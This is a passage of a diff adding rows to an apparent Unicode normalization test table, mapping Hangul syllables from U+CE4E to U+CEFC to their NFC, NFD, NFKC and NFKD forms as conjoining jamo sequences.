+{ source: [0xCE4E], NFC: [0xCE4E], NFD: [0x110E, 0x1174, 0x11B9], NFKC: [0xCE4E], NFKD: [0x110E, 0x1174, 0x11B9] },
+{ source: [0xCE4F], NFC: [0xCE4F], NFD: [0x110E, 0x1174, 0x11BA], NFKC: [0xCE4F], NFKD: [0x110E, 0x1174, 0x11BA] },
+{ source: [0xCE50], NFC: [0xCE50], NFD: [0x110E, 0x1174, 0x11BB], NFKC: [0xCE50], NFKD: [0x110E, 0x1174, 0x11BB] },
+{ source: [0xCE51], NFC: [0xCE51], NFD: [0x110E, 0x1174, 0x11BC], NFKC: [0xCE51], NFKD: [0x110E, 0x1174, 0x11BC] },
+{ source: [0xCE52], NFC: [0xCE52], NFD: [0x110E, 0x1174, 0x11BD], NFKC: [0xCE52], NFKD: [0x110E, 0x1174, 0x11BD] },
+{ source: [0xCE53], NFC: [0xCE53], NFD: [0x110E, 0x1174, 0x11BE], NFKC: [0xCE53], NFKD: [0x110E, 0x1174, 0x11BE] },
+{ source: [0xCE54], NFC: [0xCE54], NFD: [0x110E, 0x1174, 0x11BF], NFKC: [0xCE54], NFKD: [0x110E, 0x1174, 0x11BF] },
+{ source: [0xCE55], NFC: [0xCE55], NFD: [0x110E, 0x1174, 0x11C0], NFKC: [0xCE55], NFKD: [0x110E, 0x1174, 0x11C0] },
+{ source: [0xCE56], NFC: [0xCE56], NFD: [0x110E, 0x1174, 0x11C1], NFKC: [0xCE56], NFKD: [0x110E, 0x1174, 0x11C1] },
+{ source: [0xCE57], NFC: [0xCE57], NFD: [0x110E, 0x1174, 0x11C2], NFKC: [0xCE57], NFKD: [0x110E, 0x1174, 0x11C2] },
+{ source: [0xCE58], NFC: [0xCE58], NFD: [0x110E, 0x1175], NFKC: [0xCE58], NFKD: [0x110E, 0x1175] },
+{ source: [0xCE59], NFC: [0xCE59], NFD: [0x110E, 0x1175, 0x11A8], NFKC: [0xCE59], NFKD: [0x110E, 0x1175, 0x11A8] },
+{ source: [0xCE5A], NFC: [0xCE5A], NFD: [0x110E, 0x1175, 0x11A9], NFKC: [0xCE5A], NFKD: [0x110E, 0x1175, 0x11A9] },
+{ source: [0xCE5B], NFC: [0xCE5B], NFD: [0x110E, 0x1175, 0x11AA], NFKC: [0xCE5B], NFKD: [0x110E, 0x1175, 0x11AA] },
+{ source: [0xCE5C], NFC: [0xCE5C], NFD: [0x110E, 0x1175, 0x11AB], NFKC: [0xCE5C], NFKD: [0x110E, 0x1175, 0x11AB] },
+{ source: [0xCE5D], NFC: [0xCE5D], NFD: [0x110E, 0x1175, 0x11AC], NFKC: [0xCE5D], NFKD: [0x110E, 0x1175, 0x11AC] },
+{ source: [0xCE5E], NFC: [0xCE5E], NFD: [0x110E, 0x1175, 0x11AD], NFKC: [0xCE5E], NFKD: [0x110E, 0x1175, 0x11AD] },
+{ source: [0xCE5F], NFC: [0xCE5F], NFD: [0x110E, 0x1175, 0x11AE], NFKC: [0xCE5F], NFKD: [0x110E, 0x1175, 0x11AE] },
+{ source: [0xCE60], NFC: [0xCE60], NFD: [0x110E, 0x1175, 0x11AF], NFKC: [0xCE60], NFKD: [0x110E, 0x1175, 0x11AF] },
+{ source: [0xCE61], NFC: [0xCE61], NFD: [0x110E, 0x1175, 0x11B0], NFKC: [0xCE61], NFKD: [0x110E, 0x1175, 0x11B0] },
+{ source: [0xCE62], NFC: [0xCE62], NFD: [0x110E, 0x1175, 0x11B1], NFKC: [0xCE62], NFKD: [0x110E, 0x1175, 0x11B1] },
+{ source: [0xCE63], NFC: [0xCE63], NFD: [0x110E, 0x1175, 0x11B2], NFKC: [0xCE63], NFKD: [0x110E, 0x1175, 0x11B2] },
+{ source: [0xCE64], NFC: [0xCE64], NFD: [0x110E, 0x1175, 0x11B3], NFKC: [0xCE64], NFKD: [0x110E, 0x1175, 0x11B3] },
+{ source: [0xCE65], NFC: [0xCE65], NFD: [0x110E, 0x1175, 0x11B4], NFKC: [0xCE65], NFKD: [0x110E, 0x1175, 0x11B4] },
+{ source: [0xCE66], NFC: [0xCE66], NFD: [0x110E, 0x1175, 0x11B5], NFKC: [0xCE66], NFKD: [0x110E, 0x1175, 0x11B5] },
+{ source: [0xCE67], NFC: [0xCE67], NFD: [0x110E, 0x1175, 0x11B6], NFKC: [0xCE67], NFKD: [0x110E, 0x1175, 0x11B6] },
+{ source: [0xCE68], NFC: [0xCE68], NFD: [0x110E, 0x1175, 0x11B7], NFKC: [0xCE68], NFKD: [0x110E, 0x1175, 0x11B7] },
+{ source: [0xCE69], NFC: [0xCE69], NFD: [0x110E, 0x1175, 0x11B8], NFKC: [0xCE69], NFKD: [0x110E, 0x1175, 0x11B8] },
+{ source: [0xCE6A], NFC: [0xCE6A], NFD: [0x110E, 0x1175, 0x11B9], NFKC: [0xCE6A], NFKD: [0x110E, 0x1175, 0x11B9] },
+{ source: [0xCE6B], NFC: [0xCE6B], NFD: [0x110E, 0x1175, 0x11BA], NFKC: [0xCE6B], NFKD: [0x110E, 0x1175, 0x11BA] },
+{ source: [0xCE6C], NFC: [0xCE6C], NFD: [0x110E, 0x1175, 0x11BB], NFKC: [0xCE6C], NFKD: [0x110E, 0x1175, 0x11BB] },
+{ source: [0xCE6D], NFC: [0xCE6D], NFD: [0x110E, 0x1175, 0x11BC], NFKC: [0xCE6D], NFKD: [0x110E, 0x1175, 0x11BC] },
+{ source: [0xCE6E], NFC: [0xCE6E], NFD: [0x110E, 0x1175, 0x11BD], NFKC: [0xCE6E], NFKD: [0x110E, 0x1175, 0x11BD] },
+{ source: [0xCE6F], NFC: [0xCE6F], NFD: [0x110E, 0x1175, 0x11BE], NFKC: [0xCE6F], NFKD: [0x110E, 0x1175, 0x11BE] },
+{ source: [0xCE70], NFC: [0xCE70], NFD: [0x110E, 0x1175, 0x11BF], NFKC: [0xCE70], NFKD: [0x110E, 0x1175, 0x11BF] },
+{ source: [0xCE71], NFC: [0xCE71], NFD: [0x110E, 0x1175, 0x11C0], NFKC: [0xCE71], NFKD: [0x110E, 0x1175, 0x11C0] },
+{ source: [0xCE72], NFC: [0xCE72], NFD: [0x110E, 0x1175, 0x11C1], NFKC: [0xCE72], NFKD: [0x110E, 0x1175, 0x11C1] },
+{ source: [0xCE73], NFC: [0xCE73], NFD: [0x110E, 0x1175, 0x11C2], NFKC: [0xCE73], NFKD: [0x110E, 0x1175, 0x11C2] },
+{ source: [0xCE74], NFC: [0xCE74], NFD: [0x110F, 0x1161], NFKC: [0xCE74], NFKD: [0x110F, 0x1161] },
+{ source: [0xCE75], NFC: [0xCE75], NFD: [0x110F, 0x1161, 0x11A8], NFKC: [0xCE75], NFKD: [0x110F, 0x1161, 0x11A8] },
+{ source: [0xCE76], NFC: [0xCE76], NFD: [0x110F, 0x1161, 0x11A9], NFKC: [0xCE76], NFKD: [0x110F, 0x1161, 0x11A9] },
+{ source: [0xCE77], NFC: [0xCE77], NFD: [0x110F, 0x1161, 0x11AA], NFKC: [0xCE77], NFKD: [0x110F, 0x1161, 0x11AA] },
+{ source: [0xCE78], NFC: [0xCE78], NFD: [0x110F, 0x1161, 0x11AB], NFKC: [0xCE78], NFKD: [0x110F, 0x1161, 0x11AB] },
+{ source: [0xCE79], NFC: [0xCE79], NFD: [0x110F, 0x1161, 0x11AC], NFKC: [0xCE79], NFKD: [0x110F, 0x1161, 0x11AC] },
+{ source: [0xCE7A], NFC: [0xCE7A], NFD: [0x110F, 0x1161, 0x11AD], NFKC: [0xCE7A], NFKD: [0x110F, 0x1161, 0x11AD] },
+{ source: [0xCE7B], NFC: [0xCE7B], NFD: [0x110F, 0x1161, 0x11AE], NFKC: [0xCE7B], NFKD: [0x110F, 0x1161, 0x11AE] },
+{ source: [0xCE7C], NFC: [0xCE7C], NFD: [0x110F, 0x1161, 0x11AF], NFKC: [0xCE7C], NFKD: [0x110F, 0x1161, 0x11AF] },
+{ source: [0xCE7D], NFC: [0xCE7D], NFD: [0x110F, 0x1161, 0x11B0], NFKC: [0xCE7D], NFKD: [0x110F, 0x1161, 0x11B0] },
+{ source: [0xCE7E], NFC: [0xCE7E], NFD: [0x110F, 0x1161, 0x11B1], NFKC: [0xCE7E], NFKD: [0x110F, 0x1161, 0x11B1] },
+{ source: [0xCE7F], NFC: [0xCE7F], NFD: [0x110F, 0x1161, 0x11B2], NFKC: [0xCE7F], NFKD: [0x110F, 0x1161, 0x11B2] },
+{ source: [0xCE80], NFC: [0xCE80], NFD: [0x110F, 0x1161, 0x11B3], NFKC: [0xCE80], NFKD: [0x110F, 0x1161, 0x11B3] },
+{ source: [0xCE81], NFC: [0xCE81], NFD: [0x110F, 0x1161, 0x11B4], NFKC: [0xCE81], NFKD: [0x110F, 0x1161, 0x11B4] },
+{ source: [0xCE82], NFC: [0xCE82], NFD: [0x110F, 0x1161, 0x11B5], NFKC: [0xCE82], NFKD: [0x110F, 0x1161, 0x11B5] },
+{ source: [0xCE83], NFC: [0xCE83], NFD: [0x110F, 0x1161, 0x11B6], NFKC: [0xCE83], NFKD: [0x110F, 0x1161, 0x11B6] },
+{ source: [0xCE84], NFC: [0xCE84], NFD: [0x110F, 0x1161, 0x11B7], NFKC: [0xCE84], NFKD: [0x110F, 0x1161, 0x11B7] },
+{ source: [0xCE85], NFC: [0xCE85], NFD: [0x110F, 0x1161, 0x11B8], NFKC: [0xCE85], NFKD: [0x110F, 0x1161, 0x11B8] },
+{ source: [0xCE86], NFC: [0xCE86], NFD: [0x110F, 0x1161, 0x11B9], NFKC: [0xCE86], NFKD: [0x110F, 0x1161, 0x11B9] },
+{ source: [0xCE87], NFC: [0xCE87], NFD: [0x110F, 0x1161, 0x11BA], NFKC: [0xCE87], NFKD: [0x110F, 0x1161, 0x11BA] },
+{ source: [0xCE88], NFC: [0xCE88], NFD: [0x110F, 0x1161, 0x11BB], NFKC: [0xCE88], NFKD: [0x110F, 0x1161, 0x11BB] },
+{ source: [0xCE89], NFC: [0xCE89], NFD: [0x110F, 0x1161, 0x11BC], NFKC: [0xCE89], NFKD: [0x110F, 0x1161, 0x11BC] },
+{ source: [0xCE8A], NFC: [0xCE8A], NFD: [0x110F, 0x1161, 0x11BD], NFKC: [0xCE8A], NFKD: [0x110F, 0x1161, 0x11BD] },
+{ source: [0xCE8B], NFC: [0xCE8B], NFD: [0x110F, 0x1161, 0x11BE], NFKC: [0xCE8B], NFKD: [0x110F, 0x1161, 0x11BE] },
+{ source: [0xCE8C], NFC: [0xCE8C], NFD: [0x110F, 0x1161, 0x11BF], NFKC: [0xCE8C], NFKD: [0x110F, 0x1161, 0x11BF] },
+{ source: [0xCE8D], NFC: [0xCE8D], NFD: [0x110F, 0x1161, 0x11C0], NFKC: [0xCE8D], NFKD: [0x110F, 0x1161, 0x11C0] },
+{ source: [0xCE8E], NFC: [0xCE8E], NFD: [0x110F, 0x1161, 0x11C1], NFKC: [0xCE8E], NFKD: [0x110F, 0x1161, 0x11C1] },
+{ source: [0xCE8F], NFC: [0xCE8F], NFD: [0x110F, 0x1161, 0x11C2], NFKC: [0xCE8F], NFKD: [0x110F, 0x1161, 0x11C2] },
+{ source: [0xCE90], NFC: [0xCE90], NFD: [0x110F, 0x1162], NFKC: [0xCE90], NFKD: [0x110F, 0x1162] },
+{ source: [0xCE91], NFC: [0xCE91], NFD: [0x110F, 0x1162, 0x11A8], NFKC: [0xCE91], NFKD: [0x110F, 0x1162, 0x11A8] },
+{ source: [0xCE92], NFC: [0xCE92], NFD: [0x110F, 0x1162, 0x11A9], NFKC: [0xCE92], NFKD: [0x110F, 0x1162, 0x11A9] },
+{ source: [0xCE93], NFC: [0xCE93], NFD: [0x110F, 0x1162, 0x11AA], NFKC: [0xCE93], NFKD: [0x110F, 0x1162, 0x11AA] },
+{ source: [0xCE94], NFC: [0xCE94], NFD: [0x110F, 0x1162, 0x11AB], NFKC: [0xCE94], NFKD: [0x110F, 0x1162, 0x11AB] },
+{ source: [0xCE95], NFC: [0xCE95], NFD: [0x110F, 0x1162, 0x11AC], NFKC: [0xCE95], NFKD: [0x110F, 0x1162, 0x11AC] },
+{ source: [0xCE96], NFC: [0xCE96], NFD: [0x110F, 0x1162, 0x11AD], NFKC: [0xCE96], NFKD: [0x110F, 0x1162, 0x11AD] },
+{ source: [0xCE97], NFC: [0xCE97], NFD: [0x110F, 0x1162, 0x11AE], NFKC: [0xCE97], NFKD: [0x110F, 0x1162, 0x11AE] },
+{ source: [0xCE98], NFC: [0xCE98], NFD: [0x110F, 0x1162, 0x11AF], NFKC: [0xCE98], NFKD: [0x110F, 0x1162, 0x11AF] },
+{ source: [0xCE99], NFC: [0xCE99], NFD: [0x110F, 0x1162, 0x11B0], NFKC: [0xCE99], NFKD: [0x110F, 0x1162, 0x11B0] },
+{ source: [0xCE9A], NFC: [0xCE9A], NFD: [0x110F, 0x1162, 0x11B1], NFKC: [0xCE9A], NFKD: [0x110F, 0x1162, 0x11B1] },
+{ source: [0xCE9B], NFC: [0xCE9B], NFD: [0x110F, 0x1162, 0x11B2], NFKC: [0xCE9B], NFKD: [0x110F, 0x1162, 0x11B2] },
+{ source: [0xCE9C], NFC: [0xCE9C], NFD: [0x110F, 0x1162, 0x11B3], NFKC: [0xCE9C], NFKD: [0x110F, 0x1162, 0x11B3] },
+{ source: [0xCE9D], NFC: [0xCE9D], NFD: [0x110F, 0x1162, 0x11B4], NFKC: [0xCE9D], NFKD: [0x110F, 0x1162, 0x11B4] },
+{ source: [0xCE9E], NFC: [0xCE9E], NFD: [0x110F, 0x1162, 0x11B5], NFKC: [0xCE9E], NFKD: [0x110F, 0x1162, 0x11B5] },
+{ source: [0xCE9F], NFC: [0xCE9F], NFD: [0x110F, 0x1162, 0x11B6], NFKC: [0xCE9F], NFKD: [0x110F, 0x1162, 0x11B6] },
+{ source: [0xCEA0], NFC: [0xCEA0], NFD: [0x110F, 0x1162, 0x11B7], NFKC: [0xCEA0], NFKD: [0x110F, 0x1162, 0x11B7] },
+{ source: [0xCEA1], NFC: [0xCEA1], NFD: [0x110F, 0x1162, 0x11B8], NFKC: [0xCEA1], NFKD: [0x110F, 0x1162, 0x11B8] },
+{ source: [0xCEA2], NFC: [0xCEA2], NFD: [0x110F, 0x1162, 0x11B9], NFKC: [0xCEA2], NFKD: [0x110F, 0x1162, 0x11B9] },
+{ source: [0xCEA3], NFC: [0xCEA3], NFD: [0x110F, 0x1162, 0x11BA], NFKC: [0xCEA3], NFKD: [0x110F, 0x1162, 0x11BA] },
+{ source: [0xCEA4], NFC: [0xCEA4], NFD: [0x110F, 0x1162, 0x11BB], NFKC: [0xCEA4], NFKD: [0x110F, 0x1162, 0x11BB] },
+{ source: [0xCEA5], NFC: [0xCEA5], NFD: [0x110F, 0x1162, 0x11BC], NFKC: [0xCEA5], NFKD: [0x110F, 0x1162, 0x11BC] },
+{ source: [0xCEA6], NFC: [0xCEA6], NFD: [0x110F, 0x1162, 0x11BD], NFKC: [0xCEA6], NFKD: [0x110F, 0x1162, 0x11BD] },
+{ source: [0xCEA7], NFC: [0xCEA7], NFD: [0x110F, 0x1162, 0x11BE], NFKC: [0xCEA7], NFKD: [0x110F, 0x1162, 0x11BE] },
+{ source: [0xCEA8], NFC: [0xCEA8], NFD: [0x110F, 0x1162, 0x11BF], NFKC: [0xCEA8], NFKD: [0x110F, 0x1162, 0x11BF] },
+{ source: [0xCEA9], NFC: [0xCEA9], NFD: [0x110F, 0x1162, 0x11C0], NFKC: [0xCEA9], NFKD: [0x110F, 0x1162, 0x11C0] },
+{ source: [0xCEAA], NFC: [0xCEAA], NFD: [0x110F, 0x1162, 0x11C1], NFKC: [0xCEAA], NFKD: [0x110F, 0x1162, 0x11C1] },
+{ source: [0xCEAB], NFC: [0xCEAB], NFD: [0x110F, 0x1162, 0x11C2], NFKC: [0xCEAB], NFKD: [0x110F, 0x1162, 0x11C2] },
+{ source: [0xCEAC], NFC: [0xCEAC], NFD: [0x110F, 0x1163], NFKC: [0xCEAC], NFKD: [0x110F, 0x1163] },
+{ source: [0xCEAD], NFC: [0xCEAD], NFD: [0x110F, 0x1163, 0x11A8], NFKC: [0xCEAD], NFKD: [0x110F, 0x1163, 0x11A8] },
+{ source: [0xCEAE], NFC: [0xCEAE], NFD: [0x110F, 0x1163, 0x11A9], NFKC: [0xCEAE], NFKD: [0x110F, 0x1163, 0x11A9] },
+{ source: [0xCEAF], NFC: [0xCEAF], NFD: [0x110F, 0x1163, 0x11AA], NFKC: [0xCEAF], NFKD: [0x110F, 0x1163, 0x11AA] },
+{ source: [0xCEB0], NFC: [0xCEB0], NFD: [0x110F, 0x1163, 0x11AB], NFKC: [0xCEB0], NFKD: [0x110F, 0x1163, 0x11AB] },
+{ source: [0xCEB1], NFC: [0xCEB1], NFD: [0x110F, 0x1163, 0x11AC], NFKC: [0xCEB1], NFKD: [0x110F, 0x1163, 0x11AC] },
+{ source: [0xCEB2], NFC: [0xCEB2], NFD: [0x110F, 0x1163, 0x11AD], NFKC: [0xCEB2], NFKD: [0x110F, 0x1163, 0x11AD] },
+{ source: [0xCEB3], NFC: [0xCEB3], NFD: [0x110F, 0x1163, 0x11AE], NFKC: [0xCEB3], NFKD: [0x110F, 0x1163, 0x11AE] },
+{ source: [0xCEB4], NFC: [0xCEB4], NFD: [0x110F, 0x1163, 0x11AF], NFKC: [0xCEB4], NFKD: [0x110F, 0x1163, 0x11AF] },
+{ source: [0xCEB5], NFC: [0xCEB5], NFD: [0x110F, 0x1163, 0x11B0], NFKC: [0xCEB5], NFKD: [0x110F, 0x1163, 0x11B0] },
+{ source: [0xCEB6], NFC: [0xCEB6], NFD: [0x110F, 0x1163, 0x11B1], NFKC: [0xCEB6], NFKD: [0x110F, 0x1163, 0x11B1] },
+{ source: [0xCEB7], NFC: [0xCEB7], NFD: [0x110F, 0x1163, 0x11B2], NFKC: [0xCEB7], NFKD: [0x110F, 0x1163, 0x11B2] },
+{ source: [0xCEB8], NFC: [0xCEB8], NFD: [0x110F, 0x1163, 0x11B3], NFKC: [0xCEB8], NFKD: [0x110F, 0x1163, 0x11B3] },
+{ source: [0xCEB9], NFC: [0xCEB9], NFD: [0x110F, 0x1163, 0x11B4], NFKC: [0xCEB9], NFKD: [0x110F, 0x1163, 0x11B4] },
+{ source: [0xCEBA], NFC: [0xCEBA], NFD: [0x110F, 0x1163, 0x11B5], NFKC: [0xCEBA], NFKD: [0x110F, 0x1163, 0x11B5] },
+{ source: [0xCEBB], NFC: [0xCEBB], NFD: [0x110F, 0x1163, 0x11B6], NFKC: [0xCEBB], NFKD: [0x110F, 0x1163, 0x11B6] },
+{ source: [0xCEBC], NFC: [0xCEBC], NFD: [0x110F, 0x1163, 0x11B7], NFKC: [0xCEBC], NFKD: [0x110F, 0x1163, 0x11B7] },
+{ source: [0xCEBD], NFC: [0xCEBD], NFD: [0x110F, 0x1163, 0x11B8], NFKC: [0xCEBD], NFKD: [0x110F, 0x1163, 0x11B8] },
+{ source: [0xCEBE], NFC: [0xCEBE], NFD: [0x110F, 0x1163, 0x11B9], NFKC: [0xCEBE], NFKD: [0x110F, 0x1163, 0x11B9] },
+{ source: [0xCEBF], NFC: [0xCEBF], NFD: [0x110F, 0x1163, 0x11BA], NFKC: [0xCEBF], NFKD: [0x110F, 0x1163, 0x11BA] },
+{ source: [0xCEC0], NFC: [0xCEC0], NFD: [0x110F, 0x1163, 0x11BB], NFKC: [0xCEC0], NFKD: [0x110F, 0x1163, 0x11BB] },
+{ source: [0xCEC1], NFC: [0xCEC1], NFD: [0x110F, 0x1163, 0x11BC], NFKC: [0xCEC1], NFKD: [0x110F, 0x1163, 0x11BC] },
+{ source: [0xCEC2], NFC: [0xCEC2], NFD: [0x110F, 0x1163, 0x11BD], NFKC: [0xCEC2], NFKD: [0x110F, 0x1163, 0x11BD] },
+{ source: [0xCEC3], NFC: [0xCEC3], NFD: [0x110F, 0x1163, 0x11BE], NFKC: [0xCEC3], NFKD: [0x110F, 0x1163, 0x11BE] },
+{ source: [0xCEC4], NFC: [0xCEC4], NFD: [0x110F, 0x1163, 0x11BF], NFKC: [0xCEC4], NFKD: [0x110F, 0x1163, 0x11BF] },
+{ source: [0xCEC5], NFC: [0xCEC5], NFD: [0x110F, 0x1163, 0x11C0], NFKC: [0xCEC5], NFKD: [0x110F, 0x1163, 0x11C0] },
+{ source: [0xCEC6], NFC: [0xCEC6], NFD: [0x110F, 0x1163, 0x11C1], NFKC: [0xCEC6], NFKD: [0x110F, 0x1163, 0x11C1] },
+{ source: [0xCEC7], NFC: [0xCEC7], NFD: [0x110F, 0x1163, 0x11C2], NFKC: [0xCEC7], NFKD: [0x110F, 0x1163, 0x11C2] },
+{ source: [0xCEC8], NFC: [0xCEC8], NFD: [0x110F, 0x1164], NFKC: [0xCEC8], NFKD: [0x110F, 0x1164] },
+{ source: [0xCEC9], NFC: [0xCEC9], NFD: [0x110F, 0x1164, 0x11A8], NFKC: [0xCEC9], NFKD: [0x110F, 0x1164, 0x11A8] },
+{ source: [0xCECA], NFC: [0xCECA], NFD: [0x110F, 0x1164, 0x11A9], NFKC: [0xCECA], NFKD: [0x110F, 0x1164, 0x11A9] },
+{ source: [0xCECB], NFC: [0xCECB], NFD: [0x110F, 0x1164, 0x11AA], NFKC: [0xCECB], NFKD: [0x110F, 0x1164, 0x11AA] },
+{ source: [0xCECC], NFC: [0xCECC], NFD: [0x110F, 0x1164, 0x11AB], NFKC: [0xCECC], NFKD: [0x110F, 0x1164, 0x11AB] },
+{ source: [0xCECD], NFC: [0xCECD], NFD: [0x110F, 0x1164, 0x11AC], NFKC: [0xCECD], NFKD: [0x110F, 0x1164, 0x11AC] },
+{ source: [0xCECE], NFC: [0xCECE], NFD: [0x110F, 0x1164, 0x11AD], NFKC: [0xCECE], NFKD: [0x110F, 0x1164, 0x11AD] },
+{ source: [0xCECF], NFC: [0xCECF], NFD: [0x110F, 0x1164, 0x11AE], NFKC: [0xCECF], NFKD: [0x110F, 0x1164, 0x11AE] },
+{ source: [0xCED0], NFC: [0xCED0], NFD: [0x110F, 0x1164, 0x11AF], NFKC: [0xCED0], NFKD: [0x110F, 0x1164, 0x11AF] },
+{ source: [0xCED1], NFC: [0xCED1], NFD: [0x110F, 0x1164, 0x11B0], NFKC: [0xCED1], NFKD: [0x110F, 0x1164, 0x11B0] },
+{ source: [0xCED2], NFC: [0xCED2], NFD: [0x110F, 0x1164, 0x11B1], NFKC: [0xCED2], NFKD: [0x110F, 0x1164, 0x11B1] },
+{ source: [0xCED3], NFC: [0xCED3], NFD: [0x110F, 0x1164, 0x11B2], NFKC: [0xCED3], NFKD: [0x110F, 0x1164, 0x11B2] },
+{ source: [0xCED4], NFC: [0xCED4], NFD: [0x110F, 0x1164, 0x11B3], NFKC: [0xCED4], NFKD: [0x110F, 0x1164, 0x11B3] },
+{ source: [0xCED5], NFC: [0xCED5], NFD: [0x110F, 0x1164, 0x11B4], NFKC: [0xCED5], NFKD: [0x110F, 0x1164, 0x11B4] },
+{ source: [0xCED6], NFC: [0xCED6], NFD: [0x110F, 0x1164, 0x11B5], NFKC: [0xCED6], NFKD: [0x110F, 0x1164, 0x11B5] },
+{ source: [0xCED7], NFC: [0xCED7], NFD: [0x110F, 0x1164, 0x11B6], NFKC: [0xCED7], NFKD: [0x110F, 0x1164, 0x11B6] },
+{ source: [0xCED8], NFC: [0xCED8], NFD: [0x110F, 0x1164, 0x11B7], NFKC: [0xCED8], NFKD: [0x110F, 0x1164, 0x11B7] },
+{ source: [0xCED9], NFC: [0xCED9], NFD: [0x110F, 0x1164, 0x11B8], NFKC: [0xCED9], NFKD: [0x110F, 0x1164, 0x11B8] },
+{ source: [0xCEDA], NFC: [0xCEDA], NFD: [0x110F, 0x1164, 0x11B9], NFKC: [0xCEDA], NFKD: [0x110F, 0x1164, 0x11B9] },
+{ source: [0xCEDB], NFC: [0xCEDB], NFD: [0x110F, 0x1164, 0x11BA], NFKC: [0xCEDB], NFKD: [0x110F, 0x1164, 0x11BA] },
+{ source: [0xCEDC], NFC: [0xCEDC], NFD: [0x110F, 0x1164, 0x11BB], NFKC: [0xCEDC], NFKD: [0x110F, 0x1164, 0x11BB] },
+{ source: [0xCEDD], NFC: [0xCEDD], NFD: [0x110F, 0x1164, 0x11BC], NFKC: [0xCEDD], NFKD: [0x110F, 0x1164, 0x11BC] },
+{ source: [0xCEDE], NFC: [0xCEDE], NFD: [0x110F, 0x1164, 0x11BD], NFKC: [0xCEDE], NFKD: [0x110F, 0x1164, 0x11BD] },
+{ source: [0xCEDF], NFC: [0xCEDF], NFD: [0x110F, 0x1164, 0x11BE], NFKC: [0xCEDF], NFKD: [0x110F, 0x1164, 0x11BE] },
+{ source: [0xCEE0], NFC: [0xCEE0], NFD: [0x110F, 0x1164, 0x11BF], NFKC: [0xCEE0], NFKD: [0x110F, 0x1164, 0x11BF] },
+{ source: [0xCEE1], NFC: [0xCEE1], NFD: [0x110F, 0x1164, 0x11C0], NFKC: [0xCEE1], NFKD: [0x110F, 0x1164, 0x11C0] },
+{ source: [0xCEE2], NFC: [0xCEE2], NFD: [0x110F, 0x1164, 0x11C1], NFKC: [0xCEE2], NFKD: [0x110F, 0x1164, 0x11C1] },
+{ source: [0xCEE3], NFC: [0xCEE3], NFD: [0x110F, 0x1164, 0x11C2], NFKC: [0xCEE3], NFKD: [0x110F, 0x1164, 0x11C2] },
+{ source: [0xCEE4], NFC: [0xCEE4], NFD: [0x110F, 0x1165], NFKC: [0xCEE4], NFKD: [0x110F, 0x1165] },
+{ source: [0xCEE5], NFC: [0xCEE5], NFD: [0x110F, 0x1165, 0x11A8], NFKC: [0xCEE5], NFKD: [0x110F, 0x1165, 0x11A8] },
+{ source: [0xCEE6], NFC: [0xCEE6], NFD: [0x110F, 0x1165, 0x11A9], NFKC: [0xCEE6], NFKD: [0x110F, 0x1165, 0x11A9] },
+{ source: [0xCEE7], NFC: [0xCEE7], NFD: [0x110F, 0x1165, 0x11AA], NFKC: [0xCEE7], NFKD: [0x110F, 0x1165, 0x11AA] },
+{ source: [0xCEE8], NFC: [0xCEE8], NFD: [0x110F, 0x1165, 0x11AB], NFKC: [0xCEE8], NFKD: [0x110F, 0x1165, 0x11AB] },
+{ source: [0xCEE9], NFC: [0xCEE9], NFD: [0x110F, 0x1165, 0x11AC], NFKC: [0xCEE9], NFKD: [0x110F, 0x1165, 0x11AC] },
+{ source: [0xCEEA], NFC: [0xCEEA], NFD: [0x110F, 0x1165, 0x11AD], NFKC: [0xCEEA], NFKD: [0x110F, 0x1165, 0x11AD] },
+{ source: [0xCEEB], NFC: [0xCEEB], NFD: [0x110F, 0x1165, 0x11AE], NFKC: [0xCEEB], NFKD: [0x110F, 0x1165, 0x11AE] },
+{ source: [0xCEEC], NFC: [0xCEEC], NFD: [0x110F, 0x1165, 0x11AF], NFKC: [0xCEEC], NFKD: [0x110F, 0x1165, 0x11AF] },
+{ source: [0xCEED], NFC: [0xCEED], NFD: [0x110F, 0x1165, 0x11B0], NFKC: [0xCEED], NFKD: [0x110F, 0x1165, 0x11B0] },
+{ source: [0xCEEE], NFC: [0xCEEE], NFD: [0x110F, 0x1165, 0x11B1], NFKC: [0xCEEE], NFKD: [0x110F, 0x1165, 0x11B1] },
+{ source: [0xCEEF], NFC: [0xCEEF], NFD: [0x110F, 0x1165, 0x11B2], NFKC: [0xCEEF], NFKD: [0x110F, 0x1165, 0x11B2] },
+{ source: [0xCEF0], NFC: [0xCEF0], NFD: [0x110F, 0x1165, 0x11B3], NFKC: [0xCEF0], NFKD: [0x110F, 0x1165, 0x11B3] },
+{ source: [0xCEF1], NFC: [0xCEF1], NFD: [0x110F, 0x1165, 0x11B4], NFKC: [0xCEF1], NFKD: [0x110F, 0x1165, 0x11B4] },
+{ source: [0xCEF2], NFC: [0xCEF2], NFD: [0x110F, 0x1165, 0x11B5], NFKC: [0xCEF2], NFKD: [0x110F, 0x1165, 0x11B5] },
+{ source: [0xCEF3], NFC: [0xCEF3], NFD: [0x110F, 0x1165, 0x11B6], NFKC: [0xCEF3], NFKD: [0x110F, 0x1165, 0x11B6] },
+{ source: [0xCEF4], NFC: [0xCEF4], NFD: [0x110F, 0x1165, 0x11B7], NFKC: [0xCEF4], NFKD: [0x110F, 0x1165, 0x11B7] },
+{ source: [0xCEF5], NFC: [0xCEF5], NFD: [0x110F, 0x1165, 0x11B8], NFKC: [0xCEF5], NFKD: [0x110F, 0x1165, 0x11B8] },
+{ source: [0xCEF6], NFC: [0xCEF6], NFD: [0x110F, 0x1165, 0x11B9], NFKC: [0xCEF6], NFKD: [0x110F, 0x1165, 0x11B9] },
+{ source: [0xCEF7], NFC: [0xCEF7], NFD: [0x110F, 0x1165, 0x11BA], NFKC: [0xCEF7], NFKD: [0x110F, 0x1165, 0x11BA] },
+{ source: [0xCEF8], NFC: [0xCEF8], NFD: [0x110F, 0x1165, 0x11BB], NFKC: [0xCEF8], NFKD: [0x110F, 0x1165, 0x11BB] },
+{ source: [0xCEF9], NFC: [0xCEF9], NFD: [0x110F, 0x1165, 0x11BC], NFKC: [0xCEF9], NFKD: [0x110F, 0x1165, 0x11BC] },
+{ source: [0xCEFA], NFC: [0xCEFA], NFD: [0x110F, 0x1165, 0x11BD], NFKC: [0xCEFA], NFKD: [0x110F, 0x1165, 0x11BD] },
+{ source: [0xCEFB], NFC: [0xCEFB], NFD: [0x110F, 0x1165, 0x11BE], NFKC: [0xCEFB], NFKD: [0x110F, 0x1165, 0x11BE] },
+{ source: [0xCEFC], NFC: [0xCEFC], NFD: [0x110F, 0x1165, 0x11BF], NFKC: [0xCEFC], NFKD: [0x110F, 0x1165, 0x11BF] },
